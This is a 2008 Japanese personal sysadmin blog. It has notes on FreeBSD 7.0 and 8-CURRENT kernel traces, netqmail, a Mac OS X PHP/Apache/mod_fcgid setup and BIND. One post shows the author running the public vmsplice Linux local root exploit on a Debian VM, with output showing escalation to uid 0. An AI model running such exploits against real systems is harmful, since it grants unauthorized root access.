2008年2月28日木曜日

FreeBSD 7.0-RELEASE

でてた。

7.0-PRERELEASE になってたのを 7.0-STABLE にしておくか。
スペックがプアーなマシンなので時間かかるけども。

CPU: Intel Pentium III (746.76-MHz 686-class CPU)

だったり

real memory = 402522112 (383 MB)
avail memory = 380116992 (362 MB)

だったり。。

Mac OS X 上の Parallels でビルド用のVM作ってそっちでコンパイル、
NFS マウントして インストール したほうが速いね。。

netqmail 1.06

とある検証で、 qmail をひさしぶりに入れた。
新規で導入することは、政治的問題がなければ無いだろうなぁ。たぶん。

public domain になったからか、netqmail は バージョン1.06 になっていた。
これまではシェルスクリプトを実行してパッチをあてるようになってたけど、ただ tarball を展開するだけになった。

INSTALL.ids を一部コピって グループとアカウント追加、
make setup check .

PIC.* ファイルはメイルの流れがわかっていいよね。としみじみ。

2008年2月26日火曜日

Mac OS X , php5, apache2, mod_fcgid, PostgreSQL

ちょいとphpをほげることがあったので
Mac OS X 上で試せるように環境作成しておいた。メモ。

・php5
OS付属のはつかわず MacPorts で
variants は
+fastcgi +ipc +mysql5 +pcntl +pear +postgresql +sockets +sqlite
(てきとう。apacheからはFastCGIで使うので +apache2 は不要)

依存関係から、わさわさ入る

・apache2
これもOS付属のは(略)
ソースでいれた。
configureはてきとうに。SSLいらないけど。
$HOME/apache2 にしてみた (きまぐれ)
MPMはワーカー

--prefix=$HOME/apache2
--enable-layout=Apache ¥
--enable-so ¥
--enable-nonportable-atomics ¥
--enable-mods-shared=all ¥
--with-mpm=worker ¥
--with-ssl

インストール後、
モジュールの読み込みまわりはDebianチックに変更
httpd.conf が長いのは萎え萎えです

・mod_fcgid
これもソースで。
Makefile の top_dir を書き換え、make ; make install


でまぁ入れたのはいいものの、Postgres を起動したあと mod_fcgid を有効にした apacheが起動しない。
fork してくれず。エラーは以下。

[emerg] (12)Cannot allocate memory: mod_fcgid: Can't create share memory for size %zu byte

あぁ、、shmなんちゃらをいじるのね、、ということで

コマンドラインで
sudo sysctl -w kern.sysv.shmall=32768
sudo sysctl -w kern.sysv.shmmax=134217728

次回起動時のため
/etc/sysctl.conf に
kern.sysv.shmall=32768
kern.sysv.shmmax=134217728

そんなかんじで。
値は カーネルリソースの管理を参考。
OS X全バージョンで、共有メモリパラメータの変更を反映させるためにはリブートが必要になります。
とあったけど、Leopard だと動的に反映してるように見えた。値は変わるけど、実際は変わってなかったりするの?

それにしてもRではじまる某言語でごそごそする機会は中々ないなー。サミシス。。

2008年2月14日木曜日

8-CURRENT

kernel が げほげほ と。。
なんだろう。

kernel: lock order reversal:
kernel: 1st 0xc2e2d9e8 ufs (ufs) @ /usr/src/sys/kern/vfs_subr.c:2061
kernel: 2nd 0xc2ed7000 vfslock (vfslock) @ /usr/src/sys/kern/vfs_subr.c:364
kernel: KDB: stack backtrace:
kernel: db_trace_self_wrapper(c0ae661b,d3cd79e4,c079eb5e,c0ae890b,c2ed7000,...) at db_trace_self_wrapper+0x26
kernel: kdb_backtrace(c0ae890b,c2ed7000,c0aee6fc,c0aee6fc,c0aeec99,...) at kdb_backtrace+0x29
kernel: witness_checkorder(c2ed7000,1,c0aeec99,16c,d3cd7a24,...) at witness_checkorder+0x6de
kernel: _lockmgr(c2ed7000,2001,c2ed7030,c0aeec99,16c,...) at _lockmgr+0x1e5
kernel: vfs_busy(c2ed7000,0,0,c2ccecc0,d3cd7b58,...) at vfs_busy+0x198
kernel: lookup(d3cd7b44,c0aee3ac,c6,bf,c2cd612c,...) at lookup+0x7b4
kernel: namei(d3cd7b44,c2cced54,c0b9c9a4,c0aee5fe,c2ed7030,...) at namei+0x34b
kernel: kern_unlink(c2ccecc0,c0aeea3b,1,628,0,...) at kern_unlink+0x40
kernel: vfs_mountroot_try(c0aeebf5,c0add4e3,c0ad63ce,1,c07dc120,...) at vfs_mountroot_try+0x470
kernel: vfs_mountroot(c0c000b0,4,c0ade7c2,260,0,...) at vfs_mountroot+0x418
kernel: start_init(0,d3cd7d38,c0ae00a9,30c,c2cccab0,...) at start_init+0x65
kernel: fork_exit(c0730210,0,d3cd7d38) at fork_exit+0xb8
kernel: fork_trampoline() at fork_trampoline+0x8
kernel: --- trap 0, eip = 0, esp = 0xd3cd7d70, ebp = 0 ---
kernel: lock order reversal:
kernel: 1st 0xc2cd1044 user map (user map) @ /usr/src/sys/vm/vm_map.c:3111
kernel: 2nd 0xc2e2d7c8 ufs (ufs) @ /usr/src/sys/kern/vfs_subr.c:2061
kernel: KDB: stack backtrace:
kernel: db_trace_self_wrapper(c0ae661b,d3cd79d0,c079eb5e,c0ae890b,c2e2d7c8,...) at db_trace_self_wrapper+0x26
kernel: kdb_backtrace(c0ae890b,c2e2d7c8,c0addd96,c0addd96,c0aeec99,...) at kdb_backtrace+0x29
kernel: witness_checkorder(c2e2d7c8,1,c0aeec99,80d,d3cd7a04,...) at witness_checkorder+0x6de
kernel: _lockmgr(c2e2d7c8,3041,c2e2d7f8,c0aeec99,80d,...) at _lockmgr+0x1e5
kernel: ffs_lock(d3cd7a78,c075955c,c0c04fb4,3041,c2e2d770,...) at ffs_lock+0x8a
kernel: VOP_LOCK1_APV(c0bb7440,d3cd7a78,c0add4e1,3,c2e2d7f8,...) at VOP_LOCK1_APV+0xa5
kernel: _vn_lock(c2e2d770,3041,c0aeec99,80d,0,...) at _vn_lock+0xf2
kernel: vget(c2e2d770,3041,c2ccecc0,4a9,c1445e00,...) at vget+0x109
kernel: vnode_pager_lock(c1445c80,0,c0b0520f,127,d3cd7be8,...) at vnode_pager_lock+0x1ad
kernel: vm_fault(c2cd1000,80d3000,2,8,80d3800,...) at vm_fault+0x1df
kernel: trap_pfault(5,0,c0b11f81,2c8,c2cccab0,...) at trap_pfault+0x118
kernel: trap(d3cd7d38) at trap+0x257
kernel: calltrap() at calltrap+0x6
kernel: --- trap 0xc, eip = 0x80480e5, esp = 0xbfbfeef0, ebp = 0xbfbfef10 ---


kernel: lock order reversal:
kernel: 1st 0xc35b96b8 ufs (ufs) @ /usr/src/sys/kern/vfs_subr.c:2061
kernel: 2nd 0xcd0f63bc bufwait (bufwait) @ /usr/src/sys/sys/buf.h:280
kernel: 3rd 0xc3945e28 ufs (ufs) @ /usr/src/sys/kern/vfs_subr.c:2061
kernel: KDB: stack backtrace:
kernel: db_trace_self_wrapper(c0ae661b,d60774e0,c079eb5e,c0ae8924,c3945e28,...) at db_trace_self_wrapper+0x26
kernel: kdb_backtrace(c0ae8924,c3945e28,c0addd96,c0addd96,c0aeec99,...) at kdb_backtrace+0x29
kernel: witness_checkorder(c3945e28,9,c0aeec99,80d,3,...) at witness_checkorder+0x6de
kernel: _lockmgr(c3945e28,2002,c3945e58,c0aeec99,80d,...) at _lockmgr+0x509
kernel: ffs_lock(d6077588,c075955c,c0c04fb4,2002,c3945dd0,...) at ffs_lock+0x8a
kernel: VOP_LOCK1_APV(c0bb7440,d6077588,c0add4e1,3,c3945e58,...) at VOP_LOCK1_APV+0xa5
kernel: _vn_lock(c3945dd0,2002,c0aeec99,80d,0,...) at _vn_lock+0xf2
kernel: vget(c3945dd0,2002,c2ec3aa0,50,0,...) at vget+0x109
kernel: vfs_hash_get(c2ed67d4,153400,2,c2ec3aa0,d60776e4,...) at vfs_hash_get+0xe3
kernel: ffs_vget(c2ed67d4,153400,2,d60776e4,c0b036f1,...) at ffs_vget+0x49
kernel: softdep_sync_metadata(c35b9660,0,c0b036f1,12f,118,...) at softdep_sync_metadata+0x5b2
kernel: ffs_syncvnode(c35b9660,1,c1456808,8d6,c0b049de,...) at ffs_syncvnode+0x3e2
kernel: ffs_truncate(c35b9660,1000,0,880,c2f95d00,...) at ffs_truncate+0x5fa
kernel: ufs_direnter(c35b9660,c3945dd0,d6077a24,d6077bcc,cd14b200,...) at ufs_direnter+0x923
kernel: ufs_mkdir(d6077b90,d6077b90,0,d6077b90,d6077ba4,...) at ufs_mkdir+0x8d8
kernel: VOP_MKDIR_APV(c0bb7440,d6077b90,d3d,d3b,0,...) at VOP_MKDIR_APV+0xa5
kernel: kern_mkdir(c2ec3aa0,bfbfea75,0,1ff,d6077d2c,...) at kern_mkdir+0x2b7
kernel: mkdir(c2ec3aa0,d6077cfc,8,c0ae909b,c0b97040,...) at mkdir+0x29
kernel: syscall(d6077d38) at syscall+0x2b3
kernel: Xint0x80_syscall() at Xint0x80_syscall+0x20
kernel: --- syscall (136, FreeBSD ELF32, mkdir), eip = 0x28149aeb, esp = 0xbfbfe83c, ebp = 0xbfbfe908 ---

2008年2月12日火曜日

[Linux] カーネル2.6系のアレ

Linuxカーネル2.6系にroot権限を奪われる脆弱性が発見される

コメントにあったように、試してみると確かに昇格した・・・!

katsuji@debian:~$ cat /proc/version
Linux version 2.6.18-5-686 (Debian 2.6.18.dfsg.1-17) (dannf@debian.org) (gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 SMP Mon Dec 24 16:41:07 UTC 2007
katsuji@debian:~$ id -u
1000
katsuji@debian:~$ ./exploit
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7e76000 .. 0xb7ea8000
[+] root
root@debian:~# id -u
0

exploit をみつけるひとは、なにをどうやってみつけるんだろう。。

2008年2月7日木曜日

2008年2月5日火曜日

2008年2月2日土曜日

[DNS] BIND

ひさしぶりにバッタ本を読んだ。
BIND なんて全然つかってなかったし。。

tinydns ラクチンだもん。